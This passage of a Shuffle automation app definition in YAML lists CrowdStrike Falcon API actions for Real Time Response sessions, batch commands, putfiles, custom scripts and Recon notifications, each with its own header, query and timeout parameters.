[] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort by spec. Ex: ''date_created|asc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter criteria in the form of an FQL query. For more information - about FQL queries, see our [FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - "user_id" can accept a special value '@me' which will restrict results to records - with current user's ID. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_the_status_of_batch_get_command__will_return_successful_files_when_they_are_finished_processing - label: Real Time Response - retrieve the status of the specified batch get command Will return successful - files when they are finished processing - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Batch Get Command Request ID received from `/real-time-response/combined/get-command/v1` - name: batch_get_cmd_req_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_executes_get_command_across_hosts_to_retrieve_files_after_this_call_is_made_get_realtimeresponsecombinedbatchgetcommandv1_is_used_to_query_for_the_results - label: Real Time Response - Batch executes get command across hosts to retrieve files After this call - is made GET realtimeresponsecombinedbatchgetcommandv1 is used to query for the - results - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_executes_a_rtr_readonly_command - label: Real Time Response - Batch executes a RTR readonly command across the hosts mapped to the given - batch ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_session_metadata_by_session_id - label: Real Time Response - Get session metadata by session id - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_list_of_files_for_rtr_session - label: Real Time Response - Get a list of files for the specified RTR session - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: RTR Session id - name: session_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_rtr_session_file - label: Real Time Response - Delete a RTR session file - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: RTR Session file id - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: RTR Session id - name: session_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_status_of_an_executed_command_on_a_single_host - label: Real Time Response - Get status of an executed command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Cloud Request ID of the executed command to query - name: cloud_request_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Sequence ID that we want to retrieve. Command responses are chunked - across sequences - name: sequence_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: execute_a_command_on_a_single_host - label: Real Time Response - Execute a command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_executes_a_rtr_active_responder_command - label: Real Time Response - Batch executes a RTR active_responder command across the hosts mapped to the - given batch ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_putfiles_based_on_the_ids_given - label: Real Time Response Admin - Get putfiles based on the IDs given These are used for the RTR put command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: File IDs - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_putfile_based_on_the_ids_given - label: Real Time Response Admin - Delete a putfile based on the ID given Can only delete one file at a time - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: File id - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: upload_a_new_putfile_to_use_for_the_rtr_put_command - label: Real Time Response Admin - Upload a new putfile to use for the RTR put command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_status_of_an_executed_rtr_administrator_command_on_a_single_host - label: Real Time Response Admin - Get status of an executed RTR administrator command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Cloud Request ID of the executed command to query - name: cloud_request_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Sequence ID that we want to retrieve. Command responses are chunked - across sequences - name: sequence_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: execute_a_rtr_administrator_command_on_a_single_host - label: Real Time Response Admin - Execute a RTR administrator command on a single host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_list_of_putfile_ids - label: Real Time Response Admin - Get a list of putfile IDs that are available to the user for the put command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter criteria in the form of an FQL query. For more information - about FQL queries, see our [FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of ids to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort by spec. Ex: ''created_at|asc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_list_of_custom_script_ids - label: Real Time Response Admin - Get a list of custom_script IDs that are available to the user for the runscript - command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter criteria in the form of an FQL query. For more information - about FQL queries, see our [FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of ids to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort by spec. Ex: ''created_at|asc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_custom_scripts_based_on_the_ids_given - label: Real Time Response Admin - Get custom_scripts based on the IDs given These are used for the RTR runscript - command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: File IDs - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_custom_script_based_on_the_id_given - label: Real Time Response Admin - Delete a custom_script based on the ID given Can only delete one script at - a time - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: File id - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: upload_a_new_custom_script_to_use - label: Real Time Response Admin - Upload a new custom_script to use for the RTR runscript command - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: upload_a_new_scripts_to_replace_an_existing_one - label: Real Time Response Admin - Upload a new scripts to replace an existing one - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: batch_executes_a_rtr_administrator_command - label: Real Time Response Admin - Batch executes a RTR administrator command across the hosts mapped to the - given batch ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Timeout for how long to wait for the request in seconds, default - timeout is 30 seconds. Maximum is 10 minutes. - name: timeout - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Timeout duration for for how long to wait for the request in duration - syntax. Example, `10s`. Valid units: `ns, us, ms, s, m, h`. Maximum is 10 minutes.' - name: timeout_duration - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_notifications_based_on_ids_notifications - label: Recon - Delete notifications based on IDs Notifications cannot be recovered after - they are deleted - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Notifications IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_notification_status_or_assignee - label: Recon - Update notification status or assignee Accepts bulk requests - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: query_notifications - label: Recon - Query notifications based on provided criteria Use the IDs from this response - to get the notification entities on GET entitiesnotificationsv1 or GET entitiesnotificationsdetailedv1 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of ids to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: created_date, updated_date. Ex: ''updated_date|desc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query to filter notifications by. Possible filter properties - are: [id cid user_uuid status rule_id rule_name rule_topic rule_priority item_type - created_date updated_date]' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Free text search across all indexed fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_detailed_notifications_based_on_their_ids - label: Recon - Get detailed notifications based on their IDs These include the raw intelligence - content that generated the matchThis endpoint will return translated notification - content The only target language available is English A single notification can - be translated per request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Notification IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: preview_rules_notification_count_and_distribution - label: Recon - Preview rules notification count and distribution This will return aggregations - on channel count site - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_notification_aggregates - label: Recon - Get notification aggregates - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_actions_based_on_their_ids - label: Recon - Get actions based on their IDs IDs can be retrieved using the GET queriesactionsv1 - endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - 